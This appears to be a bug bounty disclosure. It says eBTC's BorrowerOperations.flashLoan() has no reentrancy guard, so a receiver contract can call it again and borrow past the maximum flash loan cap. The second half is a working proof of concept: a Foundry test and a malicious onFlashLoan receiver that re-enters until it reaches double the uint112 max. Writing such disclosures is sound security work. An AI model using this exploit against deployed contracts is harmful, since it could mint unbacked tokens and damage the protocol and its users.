Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
Due to an reentrancy attack vector, an attacker can flashLoan an unlimited amount of eBTC. For example the attacker can create a malicious contract as the receiver, to execute the attack via the onFlashLoan callback .
The exploit works because BorrowerOperations.flashLoan() is missing a reentrancy protection (modifier).
As a result an unlimited amount of eBTC can be borrowed by an attacker via the flashLoan .
Vulnerability Details
The BorrowerOperations.sol contract facilitates the execution of flash loans for eBTC. A user is permitted to loan a maximum amount of type(uint112).max. However, a vulnerability exists wherein an attacker can exploit the absence of the Reentrancy modifier in the BorrowerOperations.flashLoan() function. This oversight enables an attacker to potentially mint an infinite amount of eBTC tokens. By leveraging a malicious receiver implementation contract, the attacker can execute this exploit, posing a significant risk to the integrity and security of the eBTC ecosystem.
Impact Details
An attacker can bypass the maxFlashloan amount and mint infinite amount of eBTC tokens.
// SPDX-License-Identifier: UNLICENSEDpragmasolidity 0.8.17;import"forge-std/Test.sol";import {eBTCBaseFixture} from"./BaseFixture.sol";import {UselessFlashReceiver, eBTCFlashReceiver, FlashLoanSpecReceiver, FlashLoanWrongReturn} from "./utils/Flashloans.sol";
/* * Unit Tests for Flashloans * Basic Considerations: * Flash Fee can go to zero due to rounding, that's marginal * Minting is capped at u112 for UniV2 Compatibility, but mostly arbitrary */contractFlashLoanUnitEBTCiseBTCBaseFixture {// Flashloans UselessFlashReceiver internal uselessReceiver; eBTCFlashReceiver internal ebtcReceiver; FlashLoanSpecReceiver internal specReceiver; FlashLoanWrongReturn internal wrongReturnReceiver;functionsetUp() publicoverride {// Base setup eBTCBaseFixture.setUp(); eBTCBaseFixture.connectCoreContracts(); eBTCBaseFixture.connectLQTYContractsToCore();// Create a CDPaddresspayable[] memory users; users = _utils.createUsers(1);address user = users[0];uint256 borrowedAmount = _utils.calculateBorrowAmount(30ether, priceFeedMock.fetchPrice(), COLLATERAL_RATIO );// Make sure there is no CDPs in the system yetassert(sortedCdps.getLast() ==""); vm.startPrank(user); collateral.approve(address(borrowerOperations), type(uint256).max); collateral.deposit{value:30ether}(); borrowerOperations.openCdp(borrowedAmount,"hint","hint",30ether); vm.stopPrank(); uselessReceiver =newUselessFlashReceiver(); ebtcReceiver =neweBTCFlashReceiver(); specReceiver =newFlashLoanSpecReceiver(); wrongReturnReceiver =newFlashLoanWrongReturn(); }functiontestReenter() public{uint256 loanAmount = borrowerOperations.maxFlashLoan(address(eBTCToken));uint256 fee = borrowerOperations.flashFee(address(eBTCToken), loanAmount);deal(address(eBTCToken),address(ebtcReceiver), fee *3); //Receiver implemntation should have eBTC to pay fee borrowerOperations.flashLoan( ebtcReceiver,address(eBTCToken), loanAmount, abi.encodePacked(uint256(0)) );uint result = ebtcReceiver.trace(); console.log(result); // The amount that the attacker minted console.log(loanAmount); //Maximum allowed amount that an user can mint }}
Receiver Implementation :
interface IborrowerOperations{functionflashLoan( IERC3156FlashBorrower receiver,address token,uint256 amount,bytescalldata data ) externalreturns (bool);}contracteBTCFlashReceiverisIERC3156FlashBorrower { uint goal = 5192296858534827628530496329220095 * 2; // Goal amount of the attacker which is type(uint112 ).max * 2
uintpublic trace; functiononFlashLoan(address initiator,address token,uint256 amount,uint256 fee,bytescalldata data ) externaloverridereturns (bytes32) {uint256 loanAmount = amount; trace += amount;if(trace < goal){ // Attacker keep calling the flashLoan until goal reachedIborrowerOperations(msg.sender).flashLoan(IERC3156FlashBorrower(address(this)),address(token), loanAmount, abi.encodePacked(uint256(0)) ); }// Approve amount and feeIERC20(token).approve(msg.sender, amount + fee);returnkeccak256("ERC3156FlashBorrower.onFlashLoan"); }}